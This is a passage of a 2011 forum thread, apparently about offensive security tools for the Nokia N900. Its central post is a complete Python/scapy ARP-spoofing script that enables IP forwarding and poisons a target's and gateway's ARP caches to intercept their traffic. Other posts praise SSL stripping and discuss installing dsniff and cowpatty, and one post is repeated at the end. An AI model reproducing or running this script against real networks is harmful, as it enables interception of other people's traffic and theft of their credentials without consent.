| The Following User Says Thank You to casper27 For This Useful Post: | ||
|
|
2011-05-30
, 18:21
|
|
Posts: 19 |
Thanked: 16 times |
Joined on Sep 2010
|
#22
|
#!/usr/bin/env python
import os
import sys
import time
from scapy.all import sendp,Ether,ARP,conf,getmacbyip,get_if_hwaddr
conf.verb = 0
# Disable ICMP Redirects
f = open('/proc/sys/net/ipv4/conf/' + conf.iface + '/send_redirects','w')
f.write('0')
f.close()
# Forward packets
f = open('/proc/sys/net/ipv4/ip_forward','w')
f.write('1')
f.close()
# Target's details
sIP1 = sys.argv[1]
sMAC1 = getmacbyip(sIP1)
if len(sys.argv) > 2:
sIP2 = sys.argv[2]
else:
# Get GW
sIP2 = conf.route.route("0.0.0.0")[2]
sMAC2 = getmacbyip(sIP2)
sMyMac = get_if_hwaddr(conf.iface)
# Time between ARP packets
sleep_time = 3
# Construct the Arp packet and Ethernet frame
objARP1 = ARP(hwsrc=sMyMac, pdst=sIP1, psrc=sIP2, op=1)
objFrame1 = Ether(dst=sMAC1)
objARP2 = ARP(hwsrc=sMyMac, pdst=sIP2, psrc=sIP1, op=1)
objFrame2 = Ether(dst=sMAC2)
try:
while True:
# Send the packet
sendp(objFrame1 / objARP1)
sendp(objFrame2 / objARP2)
os.write(1,'.')
# Wait for the specified time
time.sleep(sleep_time)
except KeyboardInterrupt:
# Restore original MAC
objARP1.hwsrc = sMAC2
objARP2.hwsrc = sMAC1
sendp(objFrame1 / objARP1)
sendp(objFrame2 / objARP2)
os.write(1,"\n")
pass
| The Following 6 Users Say Thank You to peppino For This Useful Post: | ||
|
|
2011-05-30
, 19:03
|
|
Posts: 856 |
Thanked: 1,681 times |
Joined on Apr 2010
@ Aleppo ,Syria
|
#23
|


| The Following User Says Thank You to karam For This Useful Post: | ||
|
|
2011-05-30
, 19:04
|
|
Posts: 856 |
Thanked: 1,681 times |
Joined on Apr 2010
@ Aleppo ,Syria
|
#24
|
|
|
2011-05-31
, 18:21
|
|
Posts: 146 |
Thanked: 39 times |
Joined on May 2010
|
#25
|
I am quite suprised by how well the N900 handles mitm attacks. SSL stripping works great aswell.
@karam
I uninstalled all my maemo "security testing progs" and ran through your guide. All installed correct. Small spelling mistake at end:-
mv cowpatty /usr/bib
Good work, be prepared for alot of questions though, you've opened the box now
|
|
2011-06-01
, 10:54
|
|
Posts: 50 |
Thanked: 16 times |
Joined on May 2011
|
#26
|
|
|
2011-06-01
, 13:26
|
|
Posts: 856 |
Thanked: 1,681 times |
Joined on Apr 2010
@ Aleppo ,Syria
|
#27
|
apt-get install libssl0.9.8
ln -s /usr/lib/libssl.so.0.9.8 /usr/lib/libssl.so.0.9.7
ln -s /usr/lib/libcrypto.so.0.9.8 /usr/lib/libcrypto.so.0.9.7
this dose not help for me still dsniff is not installabel
:-(
| The Following User Says Thank You to karam For This Useful Post: | ||
|
|
2011-06-02
, 01:37
|
|
Posts: 2,225 |
Thanked: 3,822 times |
Joined on Jun 2010
@ Florida
|
#29
|
is it the same as in the aircrack-ng 1.1 ? coz i'v tried it yesterday and it's keep freezing
| The Following 3 Users Say Thank You to Mentalist Traceur For This Useful Post: | ||
|
|
2011-06-02
, 01:40
|
|
Posts: 40 |
Thanked: 5 times |
Joined on Jan 2011
|
#30
|
![]() |
| Tags |
| dangerous, hacker edition, i iz hax0r, karam2hacker, noobs-cant-read |
|
@karam
I uninstalled all my maemo "security testing progs" and ran through your guide. All installed correct. Small spelling mistake at end:-
mv cowpatty /usr/bib
Good work, be prepared for alot of questions though, you've opened the box now